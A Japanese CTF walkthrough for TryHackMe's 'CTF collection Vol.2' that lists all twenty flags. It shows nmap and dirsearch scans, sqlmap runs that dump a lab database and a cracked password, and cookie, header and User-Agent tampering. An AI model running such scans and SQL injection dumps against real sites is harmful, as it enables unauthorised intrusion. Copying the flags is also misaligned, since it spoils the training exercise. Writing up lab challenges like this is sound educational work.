概要
TryHackMe「CTF collection Vol.2」のWalkthroughです。
Task2
Q1.Easter 1
Hint.Check the robots
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.253.90 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 1b:c2:b6:2d:fb:32:cc:11:68:61:ab:31:5b:45:5c:f4 (DSA)
| 2048 8d:88:65:9d:31:ff:b4:62:f9:28:f2:7d:42:07:89:58 (RSA)
|_ 256 40:2e:b0:ed:2a:5a:9d:83:6a:6e:59:31:db:09:4c:cb (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: 360 No Scope!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 5.9p1 |
| 80 | http | Apache httpd 2.2.22 |
80番ポートでWebサイトにアクセスできました。
/robots.txtへアクセスすると文字列を得られました。
User-agent: * (I don't think this is entirely true, DesKel just wanna to play himself)
Disallow: /VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=
45 61 73 74 65 72 20 31 3a 20 54 48 4d 7b 34 75 37 30 62 30 37 5f 72 30 6c 6c 5f 30 75 37 7d
45 61 73 74 65 72 20 ~を16進数デコードするとフラグを得られました。
$ echo "45 61 73 74 65 72 20 31 3a 20 54 48 4d 7b 34 75 37 30 62 30 37 5f 72 30 6c 6c 5f 30 75 37 7d" | xxd -r -p
Easter 1: THM{4u70b07_r0ll_0u7}
A.THM{4u70b07_r0ll_0u7}
Q2.Easter 2
Hint.Decode the base64 multiple times. Don't forget there are something being encoded.
Disallowの文字列を複数回base64でデコードするとDesKel_secret_baseという文字列を得られました。
/DesKel_secret_baseにアクセスし、ソースコードを見るとフラグを得られました。
A.THM{f4ll3n_b453}
Q3.Easter 3
Hint.Directory buster with common.txt might help.
ディレクトリの列挙を行います。
$ dirsearch -u http://10.10.253.90
[13:09:33] 200 - 38KB - /button
[13:10:02] 301 - 246B - /login -> http://10.10.253.90/login/
[13:10:02] 200 - 480B - /login/
[13:10:02] 200 - 480B - /login/index
[13:10:24] 200 - 341B - /robots.txt
[13:10:33] 200 - 248KB - /static
/loginのパスを見つけたのでアクセスし、ソースコードを見るとフラグを得られました。
A.THM{y0u_c4n'7_533_m3}
Q4.Easter 4
Hint.time-based sqli
/loginへsqlmapを実行するとTHM_f0und_m3データベースを発見しました。
$ sqlmap -u "http://10.10.221.183/login/" --data "username=name&password=pass&submit=submit" --batch --dbs
(省略)
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] THM_f0und_m3
データベースの中身を全て取得します。
$ sqlmap -u "http://10.10.221.183/login/" --data "username=name&password=pass&submit=submit" --batch --dbms mysql -D THM_f0und_m3 --dump
nothing_insideテーブルからフラグを得られました。
THM{1nj3c7_l1k3_4_b055}
Database: THM_f0und_m3
Table: nothing_inside
[1 entry]
+-------------------------+
| Easter_4 |
+-------------------------+
| THM{1nj3c7_l1k3_4_b055} |
+-------------------------+
A.THM{1nj3c7_l1k3_4_b055}
Q5.Easter 5
Hint.Another sqli
Q4で実行したsqlmapの結果から、ユーザー情報を得られました。
Database: THM_f0und_m3
Table: user
[2 entries]
+------------------------------------------+----------+
| password | username |
+------------------------------------------+----------+
| 05f3672ba34409136aa71b8d00070d1b (cutie) | DesKel |
| He is a nice guy, say hello for me | Skidy |
+------------------------------------------+----------+
Username: Deskel,Password: cutieでリクエストを送信するとフラグを得られました。
A.THM{wh47_d1d_17_c057_70_cr4ck_7h3_5ql}
Q6.Easter 6
Hint.Look out for the response header.
/へアクセスした際のレスポンスヘッダーからフラグを得られました。
A.THM{l37'5_p4r7y_h4rd}
Q7.Easter 7
Hint.Cookie is delicious
Cookieのvalueを1に変更し、/へアクセスするとフラグを得られました。
A.THM{w3lc0m3!_4nd_w3lc0m3}
Q8.Easter 8
Hint.Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1
User-Agentをヒントの物に変更するとレスポンスでフラグを得られました。
A.THM{h3y_r1ch3r_wh3r3_15_my_k1dn3y}
Q9.Easter 9
Hint.Something is redirected too fast. You need to capture it.
/readyへアクセスし、ソースコードを見るとフラグを得られました。
A.THM{60nn4_60_f457}
Q10.Easter 10
Hint.Look at THM URL without https:// and use it as a referrer.
/free_sub/へリクエストヘッダーとしてReferer: tryhackme.comを追加すると、レスポンスでフラグを得られました。
A.THM{50rry_dud3}
Q11.Easter 11
Hint.Temper the html
dinnerパラメータにeggを入れてPOSTリクエストを送信するとフラグを得られました。
A.THM{366y_b4k3y}
Q12.Easter 12
Hint.Fake js file
/jquery-9.1.2.jsを発見したのでアクセスするとstr1変数に定義されている文字列を発見しました。
16進数でデコードするとフラグを得られました。
$ echo "4561737465722031322069732054484d7b68316464336e5f6a355f66316c337d" | xxd -r -p
Easter 12 is THM{h1dd3n_j5_f1l3}
A.THM{h1dd3n_j5_f1l3}
Q13.Easter 13
インデックスページから得られた/ready/gone.phpへアクセスするとフラグを得られます。
A.THM{1_c4n'7_b3l13v3_17}
Q14.Easter 14
Hint.Embed image code
インデックスページのコメントアウトからimgタグを発見しました。
別途HTMLファイルに書き出すとフラグの画像が得られました。
A.THM{d1r3c7_3mb3d}
Q15.Easter 15
Hint.Try guest the alphabet and the hash code
ヒントの文字列51 89 77 93 126 14 93 10 に対してデコードなどを試しましたが、有効なものは見つかりませんでした。
文字をa,b,cなど一文字ずつ送信するとそれぞれのハッシュ値を得られたのでA~Z,a~z全パターンを試してテーブルを作ります。
文字のリストファイルを作りBurpでブルートフォースします。
A
B
C
D
E
F
G
H
I
J
K
(省略)
レスポンスを確認し、ヒントに対応する文字を調べるます。
51(G) 89(a) 77(m) 93(e) 126(O) 14(v) 93(e) 10(r)
GameOverという文字列を求めることが出来ました。
フォームで送信するとフラグを得られました。
A.THM{ju57_4_64m3}
Q16.Easter 16
Hint.Make all inputs into one form.
/game2へbuttonパラメータをすべて追加してリクエストを送ると、レスポンスでフラグを得られました。
文字列のリストファイルを作り、Burpでブルートフォースをします。
A.THM{73mp3r_7h3_h7ml}
Q17.Easter 17
Hint.bin -> dec -> hex -> ascii
インデックスページのコメントアウトから文字列を発見しました。
ヒントの順番通りにデコードしてフラグを得られました。
A.THM{j5_j5_k3p_d3c0d3}
Q18.Easter 18
Hint.Request header. Format is egg:Yes
GETリクエストヘッダーにegg:Yes
A.THM{70ny_r0ll_7h3_366}
Q19.Easter 19
Hint.A thick dark line
small.pngにwidth=2000,height=2が設定されており、画像がうまく表示されていないと分かります。
/small.pngにアクセスし、画像を確認するとフラグを得られました。
A.THM{700_5m4ll_3yy}
Q20.Easter 20
Hint.You need to POST the data instead of GET. Burp suite or curl might help.
username=DesKel&password=heIsDumbをBodyデータに追加して/へPOSTリクエストを送信するとフラグを得られました。
A.THM{17_w45_m3_4ll_4l0n6}
























